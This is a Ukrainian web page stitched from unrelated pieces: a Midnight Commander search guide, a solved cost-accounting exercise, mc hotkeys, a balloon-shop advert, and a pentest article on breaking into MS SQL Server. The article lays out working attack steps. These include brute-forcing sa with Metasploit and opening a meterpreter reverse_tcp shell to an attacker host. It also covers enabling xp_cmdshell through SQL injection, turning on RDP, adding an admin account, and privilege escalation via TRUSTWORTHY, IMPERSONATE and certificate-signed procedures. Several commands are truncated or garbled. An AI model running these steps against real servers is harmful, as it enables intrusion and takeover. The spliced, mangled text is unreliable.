Методи та засоби злому баз даних MS SQL. Повітряні кульки від "МФ Пошук"

При використанні готових програмних продуктів, наприклад CMS JoomlaДосить часто доводиться стикатися з тим, що в результатах роботи програми з'являється якесь повідомлення про помилку або попередження, але ні детальної інформаціїде знаходиться даний фрагмент коду. У цих випадках найпростіше скористатися пошуком файлу в Midnight Commanderпо рядку. Розглянемо, як це зробити.

Зазвичай відомо зразкове розташування файлу з шуканим фрагментом коду. Тому насамперед перейдемо в директорію, в якій може розташовуватися цей файл.

У контекстному меню у полі « Start at:» ( Від каталогу ) залишимо крапку: ми вже знаходимося в передбачуваній директорії, що містить файл, що шукається. Але, вибравши опцію « T ree» ( Дєрево), можна вибрати іншу директорію для пошуку.

Контекстне поле «Ena b le ignore directories» ( Ігнорувати каталоги) можна залишити порожнім, якщо не потрібно виключити з пошуку будь-які відомі директорії, щоб звузити область пошуку.

В полі " File name» ( Шаблон імені ) необхідно ввести ім'я файлу або шаблон його імені. У шаблоні використовується ? для будь-якого символу або * для будь-якої кількості будь-яких символів. Якщо ми нічого не знаємо ні про ім'я, ні про розширення файлу, сміливо вводимо *.* .

Опціонально вибираємо:

  • « F ind recursively» ( Знайти ре доурсивно)
  • « U sing shell patterns» ( Метасимволи shell)
  • «Cas e sensitive» ( Учесть регістру)
  • « A ll charsets» ( Усе кодування)
  • «S k ip hidden» ( Пропускати скр ыти є)

В полі " Content» ( Вміст ) вводимо рядок, який Midnight Commander повинен буде знайти у всіх зустрінутих файлах.

Опціонально вибираємо:

  • «Sea r ch for content» ( Пошук по вмісту жімому) ← Ця опція обов'язкова для пошуку по рядку
  • «Re g ular expression» ( Р егулярний вираз)
  • «Case sens i tive» ( Облік ре гістра)
  • «A l l charsets» ( Нд екодування)
  • « W hole words» ( Злово цілком)
  • «Fir s t hit» ( До першого у ходіння)

Пошук запускаємо « O k» ( Д альше), зупиняємо за допомогою « C ansel» ( П рервати).

Після того, як програма пробіжиться по всіх файлах, вона їх видасть у вигляді списку директорій, в яких є файли зі збігами + самі файли з номерами рядків, в яких були знайдені збіги з фразою, що шукається.

Загалом, мега-зручна програма при пошуку того, що знаєш, але не знаєш, де саме шукати. :)

У таблиці показано залежність загальних витрат підприємства від випуску продукції. Розрахуйте витрати: постійні, змінні, середні загальні, середні постійні, середні змінні. У таблиці заповніть графи FC, VC, MC, ATC, AFC, AVC:

Загальні витрати, ТЗ, нар.FCVCMCATCAVCAFC
0 60
1 130
2 180
3 230
4 300

Рішення:

Постійні витрати ( Fixed Costs) - це витрати, які залежить від обсягу своєї продукції чи послуги. Скільки б фірма виробила продукції величина постійних витрат змінюється. Навіть якщо фірма не виробила жодної одиниці продукції, вона несе витрати, наприклад, це може бути оренда приміщення, плата за опалення, плата за кредит та ін.

Таким чином, FC при будь-якому обсязі випуску дорівнюватимуть 60 грн.

Змінні витрати ( Variable Costs) - це витрати, які змінюються при зміні обсягу продукції або послуги, що випускається. У сумі з постійними витратами дорівнюють величині загальних витрат ( Total Costs):

TC=FC+VC.

Звідси:

VC = TC - FC

VC(0) = 60 - 60 = 0,

VC(1) = 130 - 60 = 70,

VC(2) = 180 - 60 = 120,

VC(3) = 230 - 60 = 170,

VC(4) = 300 – 60 = 240.

Граничні витрати ( Marginal Costs) - це приріст витрат, пов'язаний із випуском додаткової одиниці продукції.

MC = ΔTC / ΔQ

Оскільки у цій задачі приріст випуску завжди дорівнює 1, можна переписати цю формулу так:

MC = ΔTC / 1 = ΔTC

MC(1) = TC(1) - TC(0) = 130 - 60 = 70,

MC(2) = TC(2) - TC(1) = 180 - 130 = 50,

MC(3) = TC(3) - TC(2) = 230 - 180 = 50,

MC(4) = TC(4) - TC(3) = 300 - 230 = 70.

Середні загальні витрати ( Average Total Costs) – це витрати на виробництво однієї одиниці продукції.

ATC = TC/Q

ATC(1) = TC(1) / 1 = 130 / 1 = 130,

ATC(2) = TC(2) / 2 = 180 / 2 = 90,

ATC(3) = TC(3) / 3 = 230 / 3 = 76,67,

ATC (4) = TC (4) / 4 = 300 / 4 = 75.

Середні постійні витрати ( Average Fixed Costs) – це фіксовані витрати на одиницю випуску продукції.

AFC = FC/Q

AFC(1) = FC(1) / 1 = 60 / 1 = 60,

AFC(2) = FC(2) / 2 = 60 / 2 = 30,

AFC(3) = FC(3) / 3 = 60 / 3 = 20,

AFC (4) = FC (4) / 4 = 60 / 4 = 15.

Середні змінні витрати ( Average Variable Costs) – це змінні витрати на виробництво однієї одиниці продукції.

AVC = VC / Q

AVC(1) = VC(1) / 1 = 70 / 1 = 70,

AVC(2) = VC(2) / 2 = 120 / 2 = 60,

AVC(3) = VC(3) / 3 = 170 / 3 = 56,67,

AVC (4) = VC (4) / 4 = 240 / 4 = 60.

Знаючи ATC та AFC середні змінні витрати можна знайти також як різницю середніх загальних та середніх фіксованих витрат:

AVC = ATC - AFC

Заповнимо перепустки в таблиці:

Випуск за одиницю часу, Q, шт.Загальні витрати, ТЗ, нар.FCVCMCATCAVCAFC
0 60 60 0 - - - -
1 130 60 70 70 130 70 60
2 180 60 120 50 90 60 30
3 230 60 170 50 76,67 56,67 20
4 300 60 240 70 75 60 15

Загальне

Ctrl+x,j — Показ фонових завдань

Сtrl-X+A - поточні VFS (ftp та ін.)

ESC+цифра - так само як і F(цифра) (ESC+5 = F5)

F1-F12

F3 — Перегляд файлу

F3 — (Під час редагування) Почати виділення тексту. Повторне натискання F3 закінчить виділення

F4 — Редагування файлу

F5 — Копіювати виділене

F6 — Перемістити виділене

F8 — Видалити виділене

Shift+F1 – викликається меню швидкого переходу між точками монтування на лівій панелі

Shift+F2 – викликається меню швидкого переходу між точками монтування на правій панелі

Shift+F5 - скопіювати файл у цей каталог

Shift+F6 - перемістити/перейменувати файл у цей каталог

Пошук

ctrl-s - Швидкий пошукфайлу або каталогу

alt-shift-? — Викликається меню розширеного пошуку файлів

Командний рядок

ctrl-a - курсор на початок

ctrl-e - курсор в кінець

esc-! - Виконати команду з параметрами

ctrl-x, p або alt+a — вставити ім'я каталогу

esc, enter; ctrl-enter — надіслати поточний об'єкт у командний рядок

ctrl-x,t — Вставка всіх виділених об'єктів у командний рядок

esc, tab - доповнення команди

alt-a — вставити поточний каталог у командний рядок

Alt-TAB (ESC+TAB) - Найкрутіша комбінація для пошуку завантажуваних файлів (наприклад, ви забули як правильно пишеться: netcfg або netconfig. Достатньо набрати в командному рядку net і натиснути Alt-TAB - вам відразу покажуть що можна запустити, яке починається з слова net) натискати двічі!
alt-shift-! - Висновок результату команди
ctrl-shift-v - вставка з буфера обміну

Операції над файлами

Shift+F4 — Створення нового файлу

shift-f6 - перейменувати файл

Ctrl+x,i - Швидкий переглядінформації про поточний об'єкт на другій панелі

Ctrl+x,q — Швидкий перегляд вмісту файлу на другій панелі

alt-. - показати приховані файли

ctrl-x, c - права на файл

ctrl-x, o - власник файлу

Shift-F3 - перегляд файлу (raw/без урахування розширення)

Ctrl + x v — створити відносне символічне посилання

trl+x,Ctrl+s — Редагувати символічне посилання

ctrl-t - відзначити файл або зняти позначку

+ - Вибрати (відзначити) групу файлів за регулярним виразом

\ — зняти позначку з групи файлів

ctrl-x, ctrl-d – порівняти файли

ctrl-t або Insert — Виберіть поточний об'єкт.

Робота з каталогами

alt-o — відкрити каталог під курсором у сусідній панелі

alt-i — відкрити поточний каталог у сусідній панелі

сtrl-\ - показати «Довідник каталогів»

alt-shift-h — Відобразити історію каталогів

Ctrl+l — Перемалювати екран

Ctrl+Space — Показати розмір поточного каталогу

Ctrl-X+D - порівняти каталоги

ESC+C - швидко змінити каталог

alt-c -вікно «Швидка зміна каталогу»

Робота з панелями

Ctrl-O - погасити панелі і подивитися, що під ними (працює ТІЛЬКИ в linux!) тут же можна попрацювати в shell'e.

alt-, — Переключити режим відображення панелей (вертикально/горизонтально)

alt-t перемикання докладного режиму відображення панелі

Meta+c — Викликає меню швидкої зміни поточного каталогу на активній панелі

ctrl-u - поміняти панелі місцями

alt-g — відзначає перший файл або каталог у списку, що відображається на панелі (по суті як клавіша Home, піднімає курсор вгору)

alt-e — змінити кодування панелі

Ctrl + x i - Переводить пасивну панель в режим «Інформація»

Ctrl + x q - Переводить пасивну панель в режим швидкого перегляду

ctrl-x! - меню → «Критерій панелізації» (git)

Історія

alt+h; esc, h - історія командного рядка

alt-p, alt-n — повернути попередній (наступний) командний рядок (рядки)

alt-y. Переміщення до попереднього каталогу з історії переміщення каталогами; еквівалентно натисканню мишкою на символ<‘ в верхнем углу панели.

alt-u. Переміщення до наступного каталогу з історії переміщення каталогами; еквівалентно натискання мишкою на символ '>'.

Редактор

F4 (в редакторі) - пошук із заміною

F6 (в редакторі) - пошук за допомогою регулярного виразу

Shift-Del (в редакторі) – видалити блок (і покласти його в clipboard)

Shift-Ins (в редакторі) - вставити блок із буфера (працює навіть в іншій консолі!) Можна редагувати два і більше файлів на різних консолях і ганяти блоки між ними.

Shift+F3 — Почати виділення текстового блоку. Повторне натискання F3 закінчить виділення

Shift+F5 — Вставлення тексту з внутрішнього буфера mc (прочитати зовнішній файл)

Meta+i — Переключення режиму «Автовирівнювання каретки», зручне при вставці відформатованого тексту з буфера обміну

Meta+l — Перехід до рядка за номером

Meta+q — Вставка літералу (недрукованого символу). таблицю нижче

Meta+t — Сортування рядків виділеного тексту

Meta+u — Виконати зовнішню команду та вставити в позицію під курсором її виведення

Ctrl+f — Внести виділений фрагмент у внутрішній буфер обміну mc (записати у зовнішній файл)

Ctrl+k — Видалити частину рядка до кінця рядка

Ctrl+n — Створити новий файл

Ctrl+s — Увімкнути або вимкнути підсвічування синтаксису

Ctrl+t — Виберіть кодування тексту

Ctrl+u — Скасувати дії

Ctrl+x — Перейти до кінця наступного

Ctrl+y — Видалити рядок

Ctrl+z — На початок попереднього слова

Meta+Enter — Діалог переходу до визначення функції

Meta+- — Повернення після переходу до визначення функції

Meta++ — Перехід до визначення функції

Meta+n — Увімкнення/вимкнення відображення номерів рядків

tab Відсуває праворуч виділений текст, якщо вимкнено опцію «Постійні блоки»

Meta-tab Відсуває ліворуч виділений текст, якщо вимкнено опцію «Постійні блоки»

Shift+Стрілки Виділення тексту

Meta+Стрілки Виділення вертикального блоку

Meta+Shift+- Переключення режиму відображення табуляцій та пропусків

Meta+Shift++ Перемикання режиму «Автовирівнювання поверненням каретки»

Організація свята – складне завдання. Є стільки моментів, про які варто подумати та подбати. Компанія «МФ Пошук» спрощує одне із завдань – декор. Ми зібрали каталог товарів для свята, який вміщує безліч засобів декоративного оформлення приміщень та дрібниць, корисних для проведення урочистостей.

Каталог товарів для свята: складаємо список покупок

Каталог "МФ Пошук" можна назвати готовим списком покупок. У нього зручна та докладна структура. У нас можна придбати:

  • Весільну атрибутику. Стрічки, конфетті, замки, декор для залу та автомобіля та багато іншого.
  • Все для карнавалу. У цьому розділі ви знайдете аксесуари, необхідні для проведення костюмованої вечірки, новорічного карнавалу, Хеллоуїна, тематичного Дня народження та ін.
  • Одноразовий посуд. Не завжди стіл накривають порцеляною та керамікою. Наприклад, для сервірування дитячого столу або для святкування Дня народження в офісі зручніше користуватися паперовими тарілками та склянками.
  • Іграшки-паті та мильні бульбашки. Щоб діти не нудьгували на святі, про їхнє дозвілля треба подбати заздалегідь. Вам пощастило! Ми зібрали всю необхідну атрибутику, вам лишилося знайти їй застосування.
  • Хлопавки та бенгальські вогні. Вони зроблять свято яскравим та незабутнім.
  • Свічки. Прикрасити торт, провести романтичний вечір, зробити сюрприз для кожного випадку є свій набір свічок.

Повітряні кульки від "МФ Пошук"

«МФ Пошук» – найбільший постачальник повітряних куль. Ми співпрацюємо з виробниками США, Іспанії, Мексики. Надаємо сертифікати якості та забезпечуємо найповніший асортимент кульок, щоб для кожного заходу можна було скласти свою унікальну композицію. Всі повітряні кулі у нашому каталозі можна поділити на латексні та фольговані.

  • Латексні. Їх можна обрати залежно від кольору, розміру, форми, тематики. Ми реалізуємо кульки з малюнком та без, а також надаємо послугу нанесення логотипу. Крім класичних варіантів, ми пропонуємо і незвичайні – панчболи, лінкінги, фігурні кульки і для моделювання.
  • Фольговані. Тут також є з чого вибрати: ходячи, великі, міні у вигляді цифр. Для зручності вибору ми розсортували продукцію за тематикою, ви легко перейдете в розділ з весільними виробами, Днем народження, Новим роком та іншими урочистими подіями.

Окремо ми розмістили аксесуари для кульок, наприклад, палички або грузики. Оформлювачів зацікавить розділ із обладнанням – балонами з гелієм, насосами, фарбою для друку.

Чому варто вибрати саме "МФ Пошук"?

  • Найбільший каталог куль.
  • Сертифікати якості у відкритому доступі.
  • Мінімальна сума замовлення доступна кожному покупцю незалежно від розмаху заходу.
  • Усі товари для свята в одному місці.
  • Знижки за великого опту.

Ми намагаємось зробити ваше перебування на сайті комфортним, тому створили окремі розділиз новинками, лідерами продажів, а також анонси «Незабаром у продажу». З нами ви переконаєтесь, що влаштувати свято легко!

Практично жоден серйозний пентест не обходиться без перевірки СУБД, адже це одна з найпопулярніших у зловмисників дверей до бажаної інформації та машини. У великих проектахяк СУБД дуже часто використовується MS SQL Server. І про перевірку саме його безпеки ми сьогодні й поговоримо. Відкривати Америку не будемо - досвідчені камради лише освіжать свої знання, а ось для тих, хто тільки-но починає освоювати тему, я постарався максимально докладно розкласти все по пунктах.

WARNING!

Вся інформація надана виключно для ознайомлення. Ні автор, ні редакція не несуть відповідальності за будь-яку можливу шкоду, заподіяну матеріалами цієї статті.

Вступ

Один із найважливіших критеріїв надійності інформаційної системи- Безпека СУБД. Атаки, створені задля неї, найчастіше критичні, оскільки можуть частково чи повністю порушити працездатність системи. Оскільки великі організації формували свою інфраструктуру давним-давно і оновлення на нові версії ПЗ викликає у них «великі» проблеми, найпоширенішими версіями досі залишаються MS SQL Server 2005 та MS SQL Server 2008. Але це лише статистика, і далі ми будемо розглядати загальні для всіх версій вектори та техніки. Для зручності умовно розіб'ємо весь процес пентесту на кілька етапів.

Як знайти MS SQL

Перше, що починає робити пентестер - це збирати інформацію про сервіси, розташовані на сервері жертви. Найголовніше, що потрібно знати для пошуку Microsoft SQL Server - номери портів, які він слухає. А слухає він порти 1433 (TCP) та 1434 (UDP). Щоб перевірити, чи є MS SQL на сервері жертви, необхідно просканувати його. Для цього можна використовувати Nmap зі скриптом ms-sql-info. Запускатиметься сканування приблизно так:

Nmap -p 1433 --script=ms-sql-info 192.168.18.128

Ну а результат виконання представлений на рис. 1.

Крім Nmap, є відмінний скануючий модуль для Метасплоїта mssql_ping , що дозволяє також визначати наявність MS SQL на сервері, що атакується:

Msf> use auxilary/scanner/mssql/mssql_ping msf auxilary(mssql_ping) > set RHOSTS 192.167.1.87 RHOSTS => 192.168.1.87 msf auxilary(mssql_ping) > run

Використовуючи один із даних варіантів, можна швиденько визначити, чи встановлений на сервері MS SQL, а також дізнатися його версію. Після цього можна переходити до наступного етапу.


Brute force

Допустимо, СУБД на сервері ми виявили. Тепер стоїть завдання отримати доступ до неї. І тут нас зустрічає першу перешкоду як аутентифікації. Взагалі, MS SQL підтримує два види аутентифікації:

  1. Windows Authentication – довірче з'єднання, при якому SQL Server приймає обліковий запис користувача, припускаючи, що вона вже перевірена на рівні операційної системи.
  2. Змішаний режим – автентифікація засобами SQL Server + Windows Authentication.

За промовчанням використовується перший режим автентифікації, а змішаний режим активується окремо. Насправді ж досить складно зустріти базу без змішаного режиму - він гнучкіший.

Деякі плюси змішаного режиму

  • Дозволяє SQL Server підтримувати більш старі програми, а також програми, що постачаються сторонніми виробниками, для яких необхідна перевірка справжності SQL Server.
  • Дозволяє SQL Server підтримувати середовища з кількома операційними системами, в яких користувачі не проходять автентифікацію домену Windows.
  • Дозволяє розробникам програмного забезпеченнярозповсюджувати свої програми за допомогою складної ієрархії дозволів, заснованої на відомих, заздалегідь встановлених іменах входу SQL Server.

Зазвичай на цьому етапі ми не маємо доступу до корпоративної мережі, тим самим використовувати автентифікацію за допомогою Windows не можемо. Але ми знайшли відкритий портз MS SQL, отже, пробуємо побрутти адмінську облік sa, стандартну для змішаного режиму. Для автоматизації процесу використовуємо модуль Метасплоїта mssql_login:

Msf > use auxiliary/scanner/mssql/mssql_login msf auxiliary(mssql_login) > set RHOSTS 172.16.2.104 RHOSTS => 172.16.2.104 msf auxiliary(mssql_login) > set PASS_FILE /root/22. 1433 - MSSQL - Starting authentication scanner. [*] 172.16.2.104:1433 - LOGIN FAILED: WORKSTATION\sa:admin (Incorrect:) [*] 172.16.2.104:1433 - LOGIN FAILED: WORKSTATION\sa:qwerty (Incorrect:) [*] 142. - LOGIN FAILED: WORKSTATION\sa:toor (Incorrect:) [+] 172.16.2.104:1433 - LOGIN SUCCESSFUL: WORKSTATION\sa:root [*] Зробити 1 з 1 hosts (100% complete) [*] Auxiliary module

Чудово! Пароль знайдено, тепер можемо переходити до наступного етапу. Але що якщо обліки sa на сервері не виявиться? Тоді доведеться лаяти і логін, для чого необхідно буде вказати скрипту ще один файл, звідки їх брати:

Msf auxiliary(mssql_login) > set USER_FILE /root/Desktop/user.txt

Отримання shell'а

Якщо нам вдалося збрудити облік sa , ми можемо залогінитися в БД. Далі сценарій простий - включаємо процедуру, що зберігається, що дозволяє виконувати команди на рівні операційної системи, і заливаємо на сервер Meterpreter shell. Круті хлопці написали для Метасплоїта відмінний модуль mssql_payload, який автоматизує цей процес:

Msf > use exploit/windows/mssql/mssql_payload msf exploit(mssql_payload) > set RHOST 172.16.2.104 msf exploit(mssql_payload) > set USERNAME sa USERNAME => sa msf exploit(mssql_payload) > set PASSW mssql_payload) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(mssql_payload) > set LHOST 172.16.2.105 LHOST => 172.16.2.4. ) [*] Meterpreter session 1 opened (172.16.2.105:4444 -> 172.16.2.104:3987) at 2015-02-20 10:42:52 -0500 meterpreter >

Сесію Meterpreter'a створено, тепер ти маєш повний доступ. Можеш дампити хеш адміна, робити скріншоти, створювати/видаляти файли, включати/вимикати мишу або клавіатуру та багато іншого. Мабуть це найпопулярніший шелл, який використовується при тестах на проникнення. Повний списоккоманд Meterpreter'a можна підглянути.

Що робити, якщо логін/пароль не збрудився?

Але не спокушайся, не так часто модуль mssql_login буде радувати тебе: пароль адміни дуже рідко залишають дефолтним. У такому разі отримати шелл нам допоможе SQL-ін'єкція. Уяви HTML-форму, в яку користувач вводить номер статті, і простий вразливий запит до БД, причому все це працює під адмінським обліком sa:

$strSQL = "SELECT * FROM . WHERE id=$id";

Змінна $id ніяк не фільтрується, отже, можна провести SQL-ін'єкцію, в якій будь-який запит буде виконаний з-під адмінського обліку sa. Для того, щоб виконувати команди на рівні операційної системи, необхідно активувати збережену процедуру xp_cmdshell , яка за умовчанням вимкнена. Нам потрібно надіслати чотири запити для її активації:

  1. EXEC sp_configure "show advanced options",1;
  2. reconfigure;
  3. `exec sp_configure "xp_cmdshell",1;
  4. reconfigure

Системна процедура sp_configure, що зберігається, дозволяє переглядати, документувати, змінювати і відновлювати конфігурацію сервера. Найпростіший спосіб отримати доступ до сервера – включити RDP через реєстр, створити користувача з адмінськими правами та підключитися.

Включаємо RDP:

10; reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

Створюємо користувача:

10; exec master.dbo.xp_cmdshell "net user root toor /ADD"

Даємо права:

10;exec master.dbo.xp_cmdshell "net localgroup administrators root/add"

Підвищення привілеїв. TRUSTWORTHY

У попередньому випадку запит до бази походив від імені адміна, тому було так просто виконувати команди операційної системи. Але що робити, якщо ми маємо урізану обліку, яка не матиме права включити xp_cmdshell ? В цьому випадку нам допоможуть збережені процедури та активована властивість TRUSTWORTHY у бази.

Але почнемо із самого початку. Для більшої наочності цього вектора опишу весь етап ще на стадії конфігурації бази та облікових записів. Створюємо нову базу YOLO: CREATE DATABASE YOLO; . Створюємо нового користувача bob із паролем marley: CREATE LOGIN bob WITH PASSWORD = "marley"; Призначаємо користувача bob власником бази YOLO:

USE YOLO ALTER LOGIN with default_database = ; CREATE USER FROM LOGIN; EXEC sp_addrolemember ;

Потім встановлюємо властивість TRUSTWORTHY, яке визначає, чи дозволяти об'єктам даної бази (уявленням, функціям користувача, процедурам, що зберігаються) звертатися до об'єктів за межами даної бази в режимі імперсонації: ALTER DATABASE YOLO SET TRUSTWORTHY ON. Логін у SQL Server під обліком bob:marley .

Створюємо процедуру, що зберігається для присвоєння облікового запису bob привілеїв sysadmin:

USE YOLO GO CREATE PROCEDURE sp_lvlup WITH EXECUTE AS OWNER AS EXEC sp_addsrvrolemember "bob","sysadmin" GO

Переконаємося, що до виконання процедури, що зберігається, ми не маємо привілеїв sysadmin:

SELECT is_srvrolemember("sysadmin") результат = 0

Виконаємо створену вище збережену процедуру sp_lvlup:

USE YOLO EXEC sp_lvlup

І знову перевіримо наші привілеї:

SELECT is_srvrolemember("sysadmin") результат = 1

Процедура sp_lvlup створена для запуску від імені OWNER, що в даному випадку є адмінським обліковим записом sa. Це можливо, тому що db_owner створив процедуру, що зберігається для своєї бази, а ця база сконфігурована як надійна, тобто властивість TRUSTWORTHY = On . Без цієї властивості не вдалося б виконати процедуру через брак привілеїв. Активована властивість TRUSTWORTHY – це не завжди погано. Проблеми починаються, коли адміністратори не знижують привілеїв власникам баз. У результаті облікового запису bob після виконання процедури sp_lvlup присвоєно привілеї sysadmin. Щоб подивитися, у яких баз активована властивість TRUSTWORTHY, можна скористатися наступним запитом:

SELECT name, database_id, is_trustworthy_on FROM sys.databases

Або для автоматизації всього процесу можна використовувати модуль для Метасплоїта mssql_escalate_dbowner_sqli:

Use auxiliary/admin/mssql/mssql_escalate_dbowner_sqli set rhost 172.16.2.104 set rport 80 set GET_PATH /login.asp?id=1+and+1=;-- exploit ... [+] 172.16.2.104:80 - Succes Bob is now a sysadmin!

Підвищення привілеїв. User Impersonation

Наступний вектор має назву User Impersonation. Іноді процедури, що зберігаються, необхідний доступ до зовнішніх ресурсів, що знаходяться за межами бази програми. Щоб це реалізувати, розробники використовують привілеї IMPERSONATE та функцію EXECUTE AS , що дозволяють виконати запит від імені іншого облікового запису. Це не вразливість як така, а скоріше слабка конфігурація, що веде до ескалації привілеїв.

Як і попередньому прикладі, почнемо розбирати суть вектора ще стадії конфігурації. Насамперед створюємо чотири облікові записи:

CREATE LOGIN User1 WITH PASSWORD = "secret"; CREATE LOGIN User2 WITH PASSWORD = "secret"; CREATE LOGIN User3 WITH PASSWORD = "secret"; CREATE LOGIN User4 WITH PASSWORD = "secret";

Потім даємо користувачеві User1 привілеї виконувати запити від імені sa, User2, User3:

USE master; GRANT IMPERSONATE ON LOGIN::sa to; GRANT IMPERSONATE ON LOGIN::MyUser2 to ; GRANT IMPERSONATE ON LOGIN::MyUser3 to ; GO

Логін у SQL Server під обліковим записом User1 і перевіряємо, чи застосували привілеї виконувати запити від інших облікових записів.

SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = "IMPERSONATE"

Тепер перевіримо поточні привілеї:

SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER("sysadmin") Результат = 0

Ну а зараз власне сам трюк - виконаємо запит від імені sa, тому що вище ми дали привілеї облікового запису User1 виконувати запити від імені sa:

EXECUTE AS LOGIN = "sa" SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER("sysadmin") Результат = 1

Все в порядку, тепер можемо виконувати команди від імені sa , а значить, можна включити процедуру, що зберігається xp_cmdshell:

EXEC sp_configure "show advanced options",1 RECONFIGURE GO EXEC sp_configure "xp_cmdshell",1 RECONFIGURE GO

INFO

За промовчанням обліковий запис sysadmin може виконувати запити від імені будь-яких інших користувачів. Вивести таблицю з усіма користувачами тобі допоможе запит: SELECT * FROM master.sys.sysusers WHERE islogin = 1 . Для виконання запиту від імені іншого облікового запису використовуй EXECUTE AS LOGIN = "AnyUser" . Щоб повернутися до попереднього облікового запису, достатньо виконати запит REVERT .

Ось і весь фокус. Для автоматизації, як завжди, можна скористатися модулем Метасплоїта mssql_escalete_executeas_sqli:

Use auxiliary/admin/mssql/mssql_escalate_execute_as_sqliex set rhost 172.16.2.104 set rport 80 set GET_PATH /login.asp?id=1+and+1=;-- exploit ... [+] 172.16.2.104:80 - Suc User1 is now a sysadmin!

Підвищення привілеїв. Збережені процедури, підписані сертифікатом

Для опису даного вектора створимо вразливу процедуру, що зберігається, підписану сертифікатом. На відміну від попередніх прикладів, для ескалації привілеїв необов'язкові:

  • властивість TRUSTWORTHY = On;
  • привілеї IMPERSONATE та функція EXECUTE AS;
  • конфігурація збереженої процедури з класом WITH EXECUTE AS для її виконання від імені іншого облікового запису.

Створимо обліковий запис із мінімальними правами:

CREATE LOGIN tor WITH PASSWORD = "loki"; GO -- Set login 's default database ALTER LOGIN with default_database = ; GO

Вимкнемо властивість TRUSTWORTHY: ALTER DATABASE master SET TRUSTWORTHY OFF . І створимо просту процедуру sp_xxx , яка буде виводити стовпець name з бази tempdb , а також з бази, яку ввів користувач:

USE MASTER; GO CREATE PROCEDURE sp_xxx @DbName varchar(max) AS BEGIN Declare @query як varchar(max) SET @query = "SELECT name FROM master..sysdatabases where name like ""%"+ @DbName+"%"" OR name=" "tempdb"""; EXECUTE(@query) END GO

Після цього створимо ключ шифрування для бази MASTER:

CREATE MASTER KEY ENCRYPTION BY PASSWORD = "secret"; GO

І сертифікат:

CREATE CERTIFICATE sp_xxx_cert WITH SUBJECT = "Зазначити sp_xxx", EXPIRY_DATE = "2035-01-01"; GO

Наступним кроком створюємо логін із сертифіката sp_xxx:

CREATE LOGIN sp_xxx_login FROM CERTIFICATE sp_xxx_cert

І підпишемо процедуру створеним сертифікатом:

ADD SIGNATURE to sp_xxx CERTIFICATE sp_xxx_cert; GO

Надамо логіну sp_lvlup2 привілеї sysadmin:

EXEC master..sp_addsrvrolemember @loginame = N"sp_xxx_login", @rolename = N"sysadmin" GO

Даємо привілеї членам групи PUBLIC виконувати процедуру:

GRANT EXECUTE ON sp_xxx to PUBLIC

У результаті ми створили користувача tor з мінімальними правами, процедуру sp_xxx , яка виводить ім'я введеної бази, створили сертифікат sp_xxx_cert і підписали їм збережену процедуру, а також створили логін sp_xxx_login з сертифіката і дали йому привілеї sysadmin . На цьому підготовчу частину закінчено. Логін облікового запису tor і викликає процедуру, що зберігається:

EXEC MASTER.dbo.sp_xxx "master"

Як і належить, вона поверне нам ім'я вказаної нами БД – master та tempdb (див. рис. 3).

Рис. 3. Результат виконання запиту EXEC MASTER.dbo.sp_xxx "master"

Запит виду EXEC MASTER.dbo.sp_sqli2 "master""--" поверне вже тільки master (див. рис. 4).

Рис.4. Результат виконання запиту EXEC MASTER.dbo.xxx "master""--"

Чудово. Це означає, що процедура, що зберігається, піддається SQL-ін'єкції. Перевіримо наші привілеї за допомогою наступного запиту:

EXEC MASTER.dbo.sp_xxx "master"";SELECT is_srvrolemember(""sysadmin"")as priv_certsp--";

priv_cersp=1 (див. рис. 5) означає, що маємо привілеї sysadmin. Виконати команду EXEC master..xp_cmdshell "whoami"; не вийде, тому що обліковий запис tor має мінімальні права, але якщо цей запит впровадити в SQL-ін'єкцію, то все спрацює (рис. 6).

Що найцікавіше, такий трюк працюватиме у версіях 2005-2014.

Висновок

Різниця у всіх цих векторах дуже суттєва. У деяких випадках для досягнення мети можна обмежитися включеною властивістю TRUSTWORTHY , що дозволяє використовувати ресурси даної бази об'єктам, що знаходяться поза, для того, щоб створити і виконати збережену процедуру, що підвищує привілеї. Десь можна виконувати процедури, що зберігаються від імені інших облікових записів завдяки наявності привілеїв IMPERSONATE і функції EXECUTE AS , а в третіх випадках важлива лише наявність SQL-ін'єкції, через яку можна впровадити запит, і він буде виконаний від імені іншого облікового запису. Для повного розуміння нюансів та тонкощів я б радив перевірити ці вектори на своїй локальній машині.

У статті не дано вичерпне викладення всіх векторів атак на СУБД MS SQL, але для поверхневого аналізу захищеності вона буде дуже корисною. Також рекомендую ознайомитись з іншим вектором злому через DB link'і, який описав Олексій Тюрін у грудневому номері][(#191) у розділі Easy Hack. На цьому все, дякую за увагу і до нових зустрічей.



Завантаження...
Top